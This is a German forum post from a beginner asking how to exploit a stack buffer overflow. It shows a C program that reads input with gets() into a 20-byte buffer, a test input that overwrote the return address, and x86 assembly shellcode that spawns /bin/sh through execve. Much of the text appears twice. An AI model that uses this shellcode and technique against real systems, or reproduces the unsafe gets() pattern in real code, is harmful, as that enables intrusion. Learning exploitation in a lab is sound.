Hey ihr,
ich bin noch nicht wirklich gut bewandert was Exploit-Schreiben angeht, aber falls es hier den ein oder anderen gibt, der etwas mehr Ahnung hat, dem wäre ich verbunden, wenn er mir ein bisschen Hilfestellung geben kann. Mein Ziel ist, alle Schritte mal durchzugehen um zu wissen, wie so etwas überhaupt funktioniert.
Arbeiten tue ich auf Kubuntu zusammen mit dem GNU Compiler / Assembler / Debugger.
Folgendes: Ich habe hier ein C++-Programm, von dem ich weiß, dass es eine Sicherheitslücke hat:
Nun will ich versuchen, für dieses Programm ein Exploit zu schreiben. Also ich weiß, dass meine Eingabe größer sein muss als 20 Bytes, um über den Stack hinaus zu schreiben und die Rücksprungaddresse zu überschreiben. Als Eingabe habe ich
eingegeben. Das ganze hat zu einem Segmentation fault geführt mit der Rücksprungaddresse: 0x6c6b6a69 (das entspricht den Buchstaben l k j i).
Fragen:
1) Nun weiß ich ja, dass mein Exploit höchstens 28 Byte sein darf, oder liege ich hier falsch?
2) Wie schaffe ich es nun meine Eingabe so zu gestalten, dass sich daraus ein Exploit entwickelt? Weil ich kann ja in der Konsole nur Ascii-Zeichen eingeben, oder?
3) Ich habe zwar angefangen, ein kleines Assemblerprogramm zu schreiben, dass mir eine neue Shell aufruft:
Das zu kompilieren und mit objdump wieder auszugeben hilft, mir einen sogenannten Shellcode zu konstruieren. Aber was hat der sogenannte Shellcode auf sich? Und wie verwende ich ihn für einen Exploit?
Edit: Ich hatte vergessen, zu erwähnen, dass der Assemblercode nichts anderes macht, als /bin/sh zu starten (Stichwort: execve und Syscalls).
ich bin noch nicht wirklich gut bewandert was Exploit-Schreiben angeht, aber falls es hier den ein oder anderen gibt, der etwas mehr Ahnung hat, dem wäre ich verbunden, wenn er mir ein bisschen Hilfestellung geben kann. Mein Ziel ist, alle Schritte mal durchzugehen um zu wissen, wie so etwas überhaupt funktioniert.
Arbeiten tue ich auf Kubuntu zusammen mit dem GNU Compiler / Assembler / Debugger.
Folgendes: Ich habe hier ein C++-Programm, von dem ich weiß, dass es eine Sicherheitslücke hat:
Code:
#include <stdio.h>
int main()
{
char string[20];
printf("Insert your fill address: ");
gets(string);
printf("Your address is: %s\n", string);
return 0;
}
Code:
012345678901234567890abcdefghijklmnopqrstuvwxyz
Fragen:
1) Nun weiß ich ja, dass mein Exploit höchstens 28 Byte sein darf, oder liege ich hier falsch?
2) Wie schaffe ich es nun meine Eingabe so zu gestalten, dass sich daraus ein Exploit entwickelt? Weil ich kann ja in der Konsole nur Ascii-Zeichen eingeben, oder?
3) Ich habe zwar angefangen, ein kleines Assemblerprogramm zu schreiben, dass mir eine neue Shell aufruft:
Code:
.section .data
.section .text
.globl _start
_start:
# 0x00000000 auf den Stack platzieren
xor %eax, %eax
push %eax
# //bin/sh auf den Stack platzieren
# aber in umgekehrter Reihenfolge
push $0x68732f6e
push $0x69622f2f
mov %esp, %ebx
push %eax
mov %esp, %edx
push %ebx
mov %esp, %ecx
mov $0xb, %al
int $0x80
Edit: Ich hatte vergessen, zu erwähnen, dass der Assemblercode nichts anderes macht, als /bin/sh zu starten (Stichwort: execve und Syscalls).
Zuletzt bearbeitet: